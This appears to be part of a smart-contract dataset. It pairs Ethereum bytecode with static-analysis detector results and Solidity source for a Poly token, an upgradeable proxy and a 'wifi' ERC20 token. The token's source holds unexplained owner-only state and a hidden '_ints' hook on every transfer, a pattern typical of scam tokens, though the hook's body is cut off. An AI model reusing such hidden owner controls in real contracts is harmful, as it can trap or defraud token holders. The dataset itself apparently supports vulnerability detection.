e2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6a084595161401484a0000006040516113679190612e09565b60405180910390a3565b600060405161137f90612ba0565b60405180910390206040518060400160405280600d81526020017f506f6c794861636b5661756c7400000000000000000000000000000000000000815250805190602001206113cc611db0565b306040516020016113e09493929190612c7b565b604051602081830303815290604052805190602001209050600060405161140690612bb5565b60405180910390208888886040516020016114249493929190612c36565b60405160208183030381529060405280519060200120905060008282604051602001611451929190612b69565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161148e9493929190612cc0565b6020604051602081039080840390855afa1580156114b0573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561152c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152390612d69565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505589146115bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b290612da9565b60405180910390fd5b874211156115fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f590612de9565b60405180910390fd5b611608818b611bf0565b50505050505050505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b6a084595161401484a00000081565b6040516116dc90612bb5565b604051809103902081565b6005602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b60006c0100000000000000000000000083108290611794576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178b9190612d27565b60405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff1611158290611802576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f99190612d27565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561187f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187690612d89565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e690612dc9565b60405180910390fd5b611969600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff168260405180606001604052806036815260200161310a6036913961179e565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550611a50600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16826040518060600160405280603081526020016130a660309139611dbd565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b1a9190612e83565b60405180910390a3611beb600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611e33565b505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a4611daa828483611e33565b50505050565b6000804690508091505090565b6000808385019050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff1610158390611e27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1e9190612d27565b60405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e7d57506000816bffffffffffffffffffffffff16115b1561212957600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611fd5576000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611f20576000611f9c565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611fc3828560405180606001604052806028815260200161318d6028913961179e565b9050611fd18684848461212e565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612128576000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116120735760006120ef565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000612116828560405180606001604052806027815260200161316660279139611dbd565b90506121248584848461212e565b5050505b5b505050565b6000612152436040518060600160405280603481526020016130d660349139612421565b905060008463ffffffff161180156121e757508063ffffffff16600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b156122825781600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055506123ca565b60405180604001604052808263ffffffff168152602001836bffffffffffffffffffffffff16815250600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555090505060018401600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051612412929190612eb9565b60405180910390a25050505050565b60006401000000008310829061246d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124649190612d27565b60405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160006bffffffffffffffffffffffff1681525090565b6000813590506124b48161300d565b92915050565b6000813590506124c981613024565b92915050565b6000813590506124de8161303b565b92915050565b6000813590506124f381613052565b92915050565b60008135905061250881613069565b92915050565b60006020828403121561252057600080fd5b600061252e848285016124a5565b91505092915050565b6000806040838503121561254a57600080fd5b6000612558858286016124a5565b9250506020612569858286016124a5565b9150509250929050565b60008060006060848603121561258857600080fd5b6000612596868287016124a5565b93505060206125a7868287016124a5565b92505060406125b8868287016124cf565b9150509250925092565b600080604083850312156125d557600080fd5b60006125e3858286016124a5565b92505060206125f4858286016124cf565b9150509250929050565b60008060008060008060c0878903121561261757600080fd5b600061262589828a016124a5565b965050602061263689828a016124cf565b955050604061264789828a016124cf565b945050606061265889828a016124f9565b935050608061266989828a016124ba565b92505060a061267a89828a016124ba565b9150509295509295509295565b6000806040838503121561269a57600080fd5b60006126a8858286016124a5565b92505060206126b9858286016124e4565b9150509250929050565b6126cc81612f26565b82525050565b6126db81612f14565b82525050565b6126ea81612f38565b82525050565b6126f981612f44565b82525050565b61271061270b82612f44565b612ff2565b82525050565b600061272182612eed565b61272b8185612ef8565b935061273b818560208601612fbf565b61274481612ffc565b840191505092915050565b600061275a82612ee2565b6127648185612ef8565b9350612774818560208601612fbf565b61277d81612ffc565b840191505092915050565b6000612795602783612ef8565b91507f506f6c793a3a6765745072696f72566f7465733a206e6f74207965742064657460008301527f65726d696e6564000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006127fb602683612ef8565b91507f506f6c793a3a64656c656761746542795369673a20696e76616c69642073696760008301527f6e617475726500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612861600283612f09565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b60006128a1603c83612ef8565b91507f506f6c793a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008301527f616e736665722066726f6d20746865207a65726f2061646472657373000000006020830152604082019050919050565b6000612907602283612ef8565b91507f506f6c793a3a64656c656761746542795369673a20696e76616c6964206e6f6e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061296d604383612f09565b91507f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353660008301527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208301527f63742900000000000000000000000000000000000000000000000000000000006040830152604382019050919050565b60006129f9603a83612ef8565b91507f506f6c793a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008301527f616e7366657220746f20746865207a65726f20616464726573730000000000006020830152604082019050919050565b6000612a5f602683612ef8565b91507f506f6c793a3a64656c656761746542795369673a207369676e6174757265206560008301527f78706972656400000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612ac5603a83612f09565b91507f44656c65676174696f6e28616464726573732064656c6567617465652c75696e60008301527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020830152603a82019050919050565b612b2781612f6e565b82525050565b612b3681612f78565b82525050565b612b4581612f88565b82525050565b612b5481612fad565b82525050565b612b6381612f95565b82525050565b6000612b7482612854565b9150612b8082856126ff565b602082019150612b9082846126ff565b6020820191508190509392505050565b6000612bab82612960565b9150819050919050565b6000612bc082612ab8565b9150819050919050565b6000602082019050612bdf60008301846126d2565b92915050565b6000602082019050612bfa60008301846126c3565b92915050565b6000602082019050612c1560008301846126e1565b92915050565b6000602082019050612c3060008301846126f0565b92915050565b6000608082019050612c4b60008301876126f0565b612c5860208301866126d2565b612c656040830185612b1e565b612c726060830184612b1e565b95945050505050565b6000608082019050612c9060008301876126f0565b612c9d60208301866126f0565b612caa6040830185612b1e565b612cb760608301846126d2565b95945050505050565b6000608082019050612cd560008301876126f0565b612ce26020830186612b3c565b612cef60408301856126f0565b612cfc60608301846126f0565b95945050505050565b60006020820190508181036000830152612d1f818461274f565b905092915050565b60006020820190508181036000830152612d418184612716565b905092915050565b60006020820190508181036000830152612d6281612788565b9050919050565b60006020820190508181036000830152612d82816127ee565b9050919050565b60006020820190508181036000830152612da281612894565b9050919050565b60006020820190508181036000830152612dc2816128fa565b9050919050565b60006020820190508181036000830152612de2816129ec565b9050919050565b60006020820190508181036000830152612e0281612a52565b9050919050565b6000602082019050612e1e6000830184612b1e565b92915050565b6000602082019050612e396000830184612b2d565b92915050565b6000604082019050612e546000830185612b2d565b612e616020830184612b5a565b9392505050565b6000602082019050612e7d6000830184612b3c565b92915050565b6000602082019050612e986000830184612b4b565b92915050565b6000602082019050612eb36000830184612b5a565b92915050565b6000604082019050612ece6000830185612b4b565b612edb6020830184612b4b565b9392505050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000612f1f82612f4e565b9050919050565b6000612f3182612f4e565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b6000612fb882612f95565b9050919050565b60005b83811015612fdd578082015181840152602081019050612fc2565b83811115612fec576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b61301681612f14565b811461302157600080fd5b50565b61302d81612f44565b811461303857600080fd5b50565b61304481612f6e565b811461304f57600080fd5b50565b61305b81612f78565b811461306657600080fd5b50565b61307281612f88565b811461307d57600080fd5b5056fe506f6c793a3a617070726f76653a20616d6f756e7420657863656564732039362062697473506f6c793a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773506f6c793a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473506f6c793a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365506f6c793a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473506f6c793a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773506f6c793a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773506f6c793a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365a365627a7a72315820fd12a69900336eed143c16e35cfd0addf95e2548ec0e1446820e39fb57a1cc636c6578706572696d656e74616cf564736f6c63430005100040
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
1,025
0x06E2188e4F03c19b3cf7A21b7E12dbbba65F395d
/** *Submitted for verification at Etherscan.io on 2021-12-06 */ // SPDX-License-Identifier: MIT pragma solidity 0.6.12; // Part: Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } // Part: Proxy /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback() external payable { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive() external payable { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall( gas(), implementation, 0, calldatasize(), 0, 0 ) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual {} /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } // Part: UpgradeabilityProxy /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert( IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1) ); _setImplementation(_logic); if (_data.length > 0) { (bool success, ) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal view override returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require( Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address" ); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } // File: AdminUpgradeabilityProxy.sol /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor( address _logic, address _admin, bytes memory _data ) public payable UpgradeabilityProxy(_logic, _data) { assert( ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1) ); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require( newAdmin != address(0), "Cannot change the admin of a proxy to the zero address" ); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeTo(newImplementation); (bool success, ) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal virtual override { require( msg.sender != _admin(), "Cannot call fallback function from the proxy admin" ); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a26469706673582212201aae5ea623b7045c9bed9ca697071a292ff980f986dddab21320f1d9ba6cbd8e64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,026
0xe76f405344afb2df76dbfa94e97d1c46d01086d0
/* _ __ _ (_)/ _(_) __ ___| |_ _ \ \ /\ / / | _| | \ V V /| | | | | \_/\_/ |_|_| |_| Website: https://wifidefi.com WORLD INNER-TOKENIZED FINANICAL INSTITUTION */ pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _ints(sender, recipient, amount); 